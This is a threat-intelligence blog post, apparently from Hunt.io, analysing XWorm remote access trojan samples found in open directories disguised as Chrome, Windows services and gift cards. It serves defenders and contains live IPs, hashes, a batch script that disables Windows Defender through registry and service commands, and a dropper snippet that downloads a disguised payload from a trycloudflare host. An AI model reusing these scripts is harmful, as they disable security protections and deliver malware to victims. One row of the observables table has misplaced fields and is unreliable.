

Uncovering Threat Actor Tactics: How Open Directories Provide Insight into XWorm Delivery Strategies

 hunt.io/blog/uncovering-threat-actor-tactics-xworm-delivery-strategies



TABLE OF CONTENTS

Open directories, often left exposed due to poor operational security, have become a valuable source of intelligence on threat actor behavior. Recently, **XWorm**, a **well-reported remote access trojan (RAT)**, has been identified in these directories-disguised as common software like web browsers, security tools, and file transfer apps, aiming to trick unsuspecting users.

In this blog post, we will:

- **Examine Open Directories as Intelligence Sources:** Analyze how threat actors misuse open directories to deliver XWorm, providing valuable insights into their targeting and operational behavior.
- **Uncover Malware Disguises and Tactics:** Detail how XWorm is disguised as popular software, exposing the deceptive techniques used to trick potential victims.

Finding XWorm in the Wild With Hunt

AttackCapture™ in Hunt offers a comprehensive list of open directories, paired with a versatile tagging system that simplifies determining whether a server is malicious. Users can filter across **50+ tags**, spanning malware families like XWorm, **MITRE ATT&CK techniques**, and even legitimate tools abused by threat actors. These tags are derived from dynamic analysis performed using **Hatching Triage**, providing high-confidence categorization based on observed behaviors and attributes of the files.

In this post, we'll utilize the XWorm tag to identify new and historical RAT instances hosted in open directories. This approach helps paint a clearer picture of the distribution strategies used over time, providing valuable insight into attacker behavior.

Open Directory Search Malicious Files

Files					
364					
Q Search files by keyword Search					
Hostname	File URL	Labels	Tags	SHA256	Modified
https://45.141.26.170	45.141.26.170/XClient.exe			# (8)	38 minutes ago
http://45.141.26.170	45.141.26.170/XClient.exe			# (8)	38 minutes ago
https://45.141.26.170	45.141.26.170_443/XClient.exe			# (8)	3 days ago
https://45.141.26.170:443	45.141.26.170_443/XClient.exe			# (8)	3 days ago
http://45.141.26.170	45.141.26.170_443/XClient.exe			# (8)	3 days ago
https://158.247.200.45:443	158.247.200.45_443/test.exe			# (2)	4 days ago
http://158.247.200.45:80	158.247.200.45_80/test.exe			# (2)	4 days ago
https://45.141.26.170	45.141.26.170_80/XClient.exe			# (8)	6 days ago
http://45.141.26.170	45.141.26.170_80/XClient.exe			# (8)	6 days ago
http://45.141.26.170:80	45.141.26.170_80/XClient.exe			# (8)	6 days ago
https://175.178.20.3:2222	175.178.20.3_2222/3_E5_B7_A5_E5_85_B7/putty.exe			# (2)	1 week ago
https://50.6.195.136:443	50.6.195.136_443/luc/lll.ps1	Q		# (1)	1 week ago
https://50.6.195.136:443	50.6.195.136_443/prv/ppp.ps1	Q		# (1)	1 week ago
http://123.58.32.153:80	123.58.32.153_80/software/putty.exe			# (2)	1 week ago
http://194.90.142.157	194.90.142.157/exe/exe030.exe			# (1)	1 week ago

Figure 1: "XWorm" tag search results in AttackCapture™ ([Hunt](#)).

These search results serve as a starting point for further analysis. Each entry can yield meaningful intelligence-identifying recurring infrastructure, correlating shared file names, or tracking shifts in adversary tactics.

Next, we'll examine specific examples of how XWorm is delivered [through open directories](#). These recent findings provide a snapshot of attacker tactics, showing how XWorm is disguised as popular software to deceive users seeking legitimate downloads.

Exposing XWorm's Disguises

Case Example: 103.230.121[.]82 - SecurityHealthService.exe

Our first server, 103.230.121[.]82, hosted in Thailand on the **Bangmod Enterprise Co., Ltd. network**, contained only a single file: SecurityHealthService.exe.

Exposed Open Directories

 Total files
1

 Total size
444.5 KB

 Timestamp
2024-11-13 10:43 1 week ago

 Host
http://103.230.121.82 
[Hunt IP Search](#)
 Bangmod Enterprise Co., Ltd.
 Bangkok, TH

Matched: ⓘ

File name	File Size	Tags	System Tag	Malware Tags	Last seen	First Seen	
/SecurityHealthService.exe	444.50 KB			T1016.001 - Internet Connection Discovery T1018 - Remote System Discovery T1102 - Web Service T1112 - Modify Registry T1547.004 - Winlogon Helper DLL T1614.001 - System Language Discovery Xworm	1 day ago	1 week ago	...

Figure 2: Directory contents of 103.230.121[.]82 ([Hunt](#)).

Named after a legitimate Windows component used to manage system health settings, such as antivirus and firewall status, the file was likely intended to blend in with typical operating system software and avoid suspicion.

Reviewing the IP address overview revealed that this server shared **SSH keys** (Fingerprint: **4b135301d2bcef2a32ae5f3e035b7df1e76d4b288f7cda69784d95ee860e3ad7**) with over 100 other servers, many of which were on the same ASN. While this does not necessarily indicate that all these IPs are malicious, it represents an interesting pattern that warrants further investigation.

103.230.121.82 - Overview

Info Domains 0 History (Beta) Associations 100 SSL History SSH History JARM Port History Signals Activity 0

Public SSH Keys (100)			
Public SSH Keys			
IP	SSH Fingerprint	First Seen	Last Seen
103.230.121.59 Dragon Network Int'l Co. Ltd	4b135301d2bcef2a32ae5f3e035b7df1e76d4b288f7cda69784d95ee860e3ad7	2024-09-12 05:22	2024-11-24 05:43
0			
103.230.121.61 Dragon Network Int'l Co. Ltd	4b135301d2bcef2a32ae5f3e035b7df1e76d4b288f7cda69784d95ee860e3ad7	2024-08-29 05:53	2024-10-20 06:01
0			
103.230.121.55 Dragon Network Int'l Co. Ltd	4b135301d2bcef2a32ae5f3e035b7df1e76d4b288f7cda69784d95ee860e3ad7	2024-11-16 05:56	2024-11-24 05:48
0			
103.230.121.63 Dragon Network Int'l Co. Ltd	4b135301d2bcef2a32ae5f3e035b7df1e76d4b288f7cda69784d95ee860e3ad7 c40a917b1a49d3ed9142f434835b7150f565c9902c662cdfbf900cad3533031d	2024-09-10 05:37	2024-11-10 06:12
0			
103.230.121.53 Dragon Network Int'l Co. Ltd	4b135301d2bcef2a32ae5f3e035b7df1e76d4b288f7cda69784d95ee860e3ad7 c40a917b1a49d3ed9142f434835b7150f565c9902c662cdfbf900cad3533031d	2024-08-28 05:40	2024-11-24 05:43

Figure 3: Associations page showing servers sharing the same SSH key (Hunt).**Case Example: 158.247.200[.]45:80 &:443 - chrome.exe**

Hosted in South Korea and part of The Constant Company, LLC network, 158.247.200[.]45 reveals signs that the actor may still be in a testing phase. This assumption is primarily based on file names in the directory, such as test.exe and test2.bat, which suggest ongoing experimentation.

Exposed Open Directories

Total files
4

Total size
445.67 KB

Timestamp
2024-11-20 02:28 3 days ago

Host
<http://158.247.200.45:80>
[Hunt IP Search](#)
The Constant Company, LLC
Seoul, KR

Search file name

Settings

Figure 4: Screenshot of files on 158.247.200[.]45 ([Hunt](#)).

The directory also contains **chrome.exe** and **chrome.bat**, which are likely intended to mimic the **Google Chrome browser**. Further analysis of **chrome.exe** in **VirusTotal** shows that the file has also been uploaded as **svchost.exe**, another well-known Windows process often used to blend in.

54

/ 72

Community Score

-14

54/72 security vendors flagged this file as malicious

Reanalyze

Similar

More

c1284569276eee7aaf4b03a01b709a9e403eb23edd13c3b3f567e507b0129d9e

svchost.exe

Size

147.50 KB

Last Analysis Date

18 minutes ago

EXE

peexe

detect-debug-environment

long-sleeps

assembly

persistence

calls-wmi

DETECTION

DETAILS

RELATIONS

ASSOCIATIONS

BEHAVIOR

COMMUNITY 14+

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Basic properties

MDS	8a0da8925b19d58db5a209deed075a5a
SHA-1	4d9a2a9aaaad27beae22abe3c27cb2b22b682c90
SHA-256	c1284569276eee7aaf4b03a01b709a9e403eb23edd13c3b3f567e507b0129d9e
Vhash	21503655551170782b111020
Authenthash	5b87467d44220f1b9dcbeede5838a49e6b2d9d2d99dcd28bad593fd3081acad
Imphash	f34d5f2d4577ed6d9ceec516c1f5a744
SSDEEP	3072:70FE9eVQJX4NpVq8BxFRzaqF+o2GQJ7/JzqVfGvp:8E9TgVqWLL
TLSH	T1F1E3A3698EEBB242C54645747D73A3814A3D5F79A4CF35158EE33FEE5BB3C9120220A2
File type	Win32 EXE executable windows win32 pe peexe
Magic	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
TrID	Generic CIL Executable (.NET, Mono, etc.) (67.7%) Win64 Executable (generic) (9.7%) Win32 Dynamic Link Library (generic) (6%) Win16 NE executable (generic) (4.6...)
DetectItEasy	PE32 Compiler: VB.NET Library: .NET (v4.0.30319) Linker: Microsoft Linker (11.0)
Magika	PEBIN
File size	147.50 KB (151040 bytes)
PEiD packer	.NET executable

History

Creation Time	2024-11-20 03:15:57 UTC
First Submission	2024-11-21 08:06:44 UTC
Last Submission	2024-11-21 08:23:24 UTC
Last Analysis	2024-11-24 11:55:57 UTC

Names

svchost.exe
c1284569276eee7aaf4b03a01b709a9e403eb23edd13c3b3f567e507b0129d9e.exe
chrome.exe

Figure 5: Snippet of VirusTotal Details showing the different filenames for the XWorm sample (VirusTotal).

Many files discovered through AttackCapture™ can be inspected directly without downloading. For example, **chrome.bat**, shown in Figure 6, appears designed to disable **Windows Defender**-likely in preparation for executing **chrome.exe**. Notably, the script contains comments in the **Korean** language, offering further evidence of the possible origin of the threat actor.

```
@echo off
:: 관리자 권한으로 실행 여부 확인
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo 관리자 권한으로 실행하세요.
    pause
    exit /b
)

:: Windows Defender 실시간 보호 끄기
:: PowerShell을 사용하여 실시간 보호 비활성화
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

:: Windows Defender 서비스 중지
sc stop WinDefend

:: Windows Defender 완전 비활성화 레지스트리 추가
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f

:: 실시간 보호 끄기 레지스트리 추가
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f

echo Windows Defender가 비활성화되었습니다.
pause
exit
```

Figure 6: Contents of chrome.bat, including Korean language comments.

Case Example: 216.173.64[.]63:4646 - pdf.bat

While **AttackCapture™** includes over 300 XWorm samples available for download, we've chosen to focus on a select few that provide unique insights into attacker behavior. Users are encouraged to explore the entire collection in Hunt for a deeper dive.

Notable filenames among the samples include **uidiscord.exe**, **JavaX-Helper.exe**, and **Updater.exe**, each reflecting a common theme of disguising malicious payloads as trusted software.

The final server of interest, 216.173.64[.]63, is hosted by Evoxt Enterprise in the United States. This IP recently drew the attention of researcher , who reported its involvement in a scam promoting fake gift cards. Upon closer inspection, these gift cards were merely shortcuts that downloaded a batch script concealing XWorm.

The malware then leveraged the compromised system to exfiltrate data directly to a Telegram account.

/pdf.bat

Open in bulk extractor



```
@echo off
setlocal

:: Search for PDF files in the Downloads folder and open the first one found
echo Searching for PDF files in the Downloads folder...
set "pdfFile="
for %%f in ("%USERPROFILE%\Downloads\*.pdf") do (
    set "pdfFile=%%f"
    goto :openPdf
)

echo No PDF files found in the Downloads folder.
goto :installPython

:openPdf
echo Opening PDF file: %pdfFile%
start "" "%pdfFile%"
timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)

:installPython
:: Set Python installer URL and download location
set "pythonUrl=https://remember-humidity-floppy-choosing.trycloudflare.com/python-3.12.5-amd64.exe"
set "pythonInstaller=%APPDATA%\python-3.12.5-amd64.exe"
set "installDir=%APPDATA%\Python\Python3.12.5"

:: Download the Python installer
echo Downloading Python installer...
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%pythonUrl%' -OutFile '%pythonInstaller%' }"
```

Figure 7: Snippet of the pdf.bat file from the XWorm associated open directory ([Hunt](#)).

Conclusion

While this post focused on XWorm, [examining open directories](#) provides broader insights into how attackers stage and distribute malware. These directories, often unintentionally exposed, reveal the tactics used to disguise malicious files as legitimate software to deceive users. Understanding these tactics helps defenders to better detect, mitigate, and respond to such threats.

Defense Recommendations:

- **Monitor for External Open Directories:** Use internet intelligence tools to monitor for open directories that might host malicious files targeting your organization or its supply chain.
- **File Reputation and Whitelisting:** Employ reputation services like VirusTotal and implement application allowlisting to prevent unverified or suspicious executables from running.
- **Strengthen Endpoint Defense:** Ensure Endpoint Detection and Response (EDR) solutions are in place and tuned to detect typical behaviors of malicious scripts, such as disabling security features or using misleading filenames.

Network Observables

IP Address	Hosting Country	ASN	XWorm Filename	Notes
158.247.200[.]45:443	KR	The Constant Company, LLC	chrome.exe	Likely meant to dupe users looking to download the Google Chrome browser.
216.173.64[.]63:4646	CN	Evobt Enterprise	US	Part of a previous phishing campaign delivering gift cards which in reality were XWorm.
103.230.121[.]82	TH	Bangmod Enterprise Co., Ltd.	SecurityHealthService.exe	Spoofs the legit Windows process responsible for handling notifications about the security health of a system.